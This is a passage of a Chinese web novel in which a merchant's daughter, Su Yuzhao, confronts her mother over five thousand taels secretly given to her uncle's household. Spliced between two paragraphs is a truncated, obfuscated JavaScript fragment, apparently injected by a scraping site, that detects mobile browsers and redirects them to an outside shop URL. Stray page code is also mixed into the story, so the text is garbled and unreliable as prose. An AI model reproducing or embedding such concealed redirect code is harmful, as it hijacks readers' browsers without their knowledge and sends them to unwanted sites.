福宁和宝珠忙拉住她:“姑娘快省省,要去也得等天亮再去,这会子三更半夜的,太太已经睡下了,若闹起来岂不是让她为难。” 苏玉照冷静下来,回身踱步走到软塌边坐下,思忖道:“五千两也不是小数目,即便二婶婶张口要,母亲也不会平白无故给出去这么多。明日一早我去给母亲请安,先问明白她为什么给钱,再去同二婶婶计较。” 福宁道:“正是这理,我来告诉姑娘也是为了让您心里有数,好做盘算。可千万不能莽撞,一来跟二房闹僵了不好,二来也伤了太太的体面。” “我知道。”苏玉照道,“天晚了,姐姐回去睡觉吧,你放心,我必不同人说是你告诉的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374114|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 福宁行了个礼,就要出去,翠屏赶紧拿来个琉璃彩贝灯笼:“外头黑漆漆的,姐姐拿着灯,我让婆子们送你。” “哎,有劳了。”福宁答应着,跟婆子们走了。 苏玉照把这件事先按下,梳洗过后,进内室上床,一沾枕头就沉沉睡过去。 她心宽量大,向来好眠,从不为琐事萦心,等第二日宝珠来叫她起身时,已经近辰时了。 崔夫人年近不惑,与丈夫苏檀林就只得这么一个女儿,掌上明珠似的娇养到这么大,平日里对苏玉照十分纵容,从不拿请安之类的家常规矩拘束她。 苏玉照穿戴整齐,晃晃悠悠来到前面紫梅园,给母亲请安。 崔氏正吩咐人摆早膳,一见她进来,脸上便笑开了,拉着她的手,让她坐到自己身边:“昨儿几时回来的,今儿睡到这个时候,你父亲一不在家,你比先时更野了,哪儿还有个姑娘家安静乖巧的样子。” 这话崔氏天天絮叨,苏玉照听得耳朵快起茧子了,不以为然道:“阿娘,女儿我是要出去跟人家谈生意的,您让我安静乖巧?快别吧,那些人贼精贼精的,我若跟只小白兔似的,早被狼虫虎豹生吞活剥了。父亲又不在家,母亲您又不管事,在家里躲清闲,楼里还不是要我坐镇。饶这么着,还有人想在我这里坑蒙拐骗呢,我若再不拿乔端起东家的架子来,白花花的银子还不知填进去多少呢。好了好了,咱不说这个,今儿有什么好吃的?” “哎呦呦,就数你是商界奇才,咱家万宝楼都指望你撑着呢。”崔氏摸摸她的脸颊,嗔怪一句。 苏玉照一点不谦虚,得意扬眉:“那可不是怎的,不信您等爹爹回来,看他夸不夸我就是了。有我们两个在,您就擎等着享受荣华富贵吧。” 提到丈夫苏檀林,崔夫人脸上的笑意变得温柔,又道,“昨儿你二婶婶送来两只野鸽子,说是郑老夫人差人送来给她补身子的,一笼十多只,她自己吃不完,分给大伙尝尝鲜。我叫人煲了汤,你快喝一碗,再多吃点饭菜,整日家着三不着两,饥一顿饱一顿的,现在你年轻,自觉身子壮,等老了才知道不受用呢。” 丫鬟长喜忙给她盛了一碗鸽子汤,苏玉照边喝边试探的问道:“母亲,您跟二婶婶的关系,愈发亲近了啊,先前都是她从咱们这边饶东西,怎么现在也知道回报了,真是稀奇。” 崔氏自然不敢说,是自己给人家五千两银子,才换回来这点薄面,打了个哈哈道:“一家人和和睦睦的才好,不然白叫人家笑话,而且咱们家经商,你二叔在官场,互相扶持,才能越来越好呀。” 苏玉照咂了咂舌头:“这鸽子汤不错,很鲜,但也不值五千两吧?” 崔氏愣住:“玉娘,你怎么知道?” 她回头看向自己几个贴身丫鬟:“哪个小蹄子说的?” 众人都吓得低头。 苏玉照放下碗,拿起巾子擦手:“母亲不必苛责她们,此事不与她们相干,这个院子里,还没什么事能瞒过我去。母亲还是实话告诉我,为何要给二婶婶这么多钱?” “哎呀哪有那么多为什么,你二叔叔回京述职,想要再进一步,自然要银子打点。”崔氏道。 苏玉照:“那为何不同我商量?” 崔氏见搪塞不过,板起脸道:“好啊,你要造反,审起你老子娘来了!”